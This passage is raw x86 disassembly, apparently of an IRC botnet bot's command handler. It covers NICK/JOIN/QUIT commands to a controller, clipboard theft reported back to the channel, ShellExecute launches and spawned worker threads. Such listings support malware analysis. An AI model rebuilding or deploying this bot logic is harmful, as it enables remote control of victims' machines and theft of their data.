XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_4307AC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413927 loc_413911: ; CODE XREF: sub_40EE72+4AB3j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h call near ptr 2610F93h nop jmp short loc_413911 ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_40EE72+4A9Dj call near ptr 2650B3Dh nop push eax push offset dword_432C80 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_413938: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi nop call near ptr 27C0D8Bh test eax, eax jz short loc_413962 push edi push offset dword_430780 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413962: ; CODE XREF: sub_40EE72+4ACFj push offset dword_431128 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413990 push offset unk_430748 jmp short loc_413995 ; --------------------------------------------------------------------------- loc_413990: ; CODE XREF: sub_40EE72+4B15j push offset unk_430704 loc_413995: ; CODE XREF: sub_40EE72+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F0 push offset unk_4306D0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_40EE72+4B72j push offset unk_430690 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A34 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_413A4F push dword ptr [eax] loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_430664 push eax call sub_4172B0 add esp, 10h jmp short loc_413A62 ; --------------------------------------------------------------------------- loc_413A34: ; CODE XREF: sub_40EE72+4B95j push edi call dword_43AE1C cmp eax, ebx jz short loc_413A4F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43AE24 push eax jmp short loc_413A1D ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j ; sub_40EE72+4BCBj push offset dword_43062C loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj ; sub_40EE72+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A62: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B35j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8C: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_4305F8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi jz short loc_413AC5 push offset unk_4305BC jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_40EE72+4C47j push offset unk_430578 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_430544 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_430E94 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD0 ; --------------------------------------------------------------------------- loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 pop ecx pop ecx push 1F4h call near ptr 2610F93h nop push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call dword_43AE30 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_440804[eax] call near ptr 27D08F1h nop push edi call sub_41781F imul eax, 234h push edi mov dword_440804[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_4405F0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_4304F8 loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA4j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_4304C0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_43048C jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_430450 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_430428 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_430DC4 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_4303F8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_4303C8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_430394 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 3E8h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_4316D8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 270Fh mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A push offset byte_436EDC push offset aF ; "#f" call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push offset aF ; "#f" lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_43031C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h nop call near ptr 2610F93h jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j call near ptr 2650B3Dh nop push eax lea eax, [ebp+var_2DC] push offset unk_4315C8 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+3108j ; sub_40EE72+4FC4j push offset unk_4302D8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_4302A0 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h nop call near ptr 2610F93h jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j call near ptr 2650B3Dh nop push eax push offset unk_430254 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_430228 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2660000h loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F674 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h nop call near ptr 2610F93h jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j call near ptr 2650B3Dh nop push eax push offset unk_4301E0 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 2620000h push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h nop call near ptr 2610F93h jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j nop call near ptr 2650B3Dh push eax push offset unk_430198 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_436EDC loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_43014C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h nop call near ptr 2610F93h jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j call near ptr 2650B3Dh nop push eax push offset dword_430100 loc_4144D6: ; CODE XREF: sub_40EE72+3625j ; sub_40EE72+3722j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+3609j ; sub_40EE72+3706j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43ACC0 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_4300CC jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_430090 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset dword_430054 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset dword_430020 loc_414564: ; CODE XREF: sub_40EE72+4AFCj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_42FFE4 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FFA4 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_42FF6C jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_42FF34 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_42FF04 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh call near ptr 2610765h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42FEDC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_42FEAC jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_42FE78 push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_42FE40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414807 loc_4147F1: ; CODE 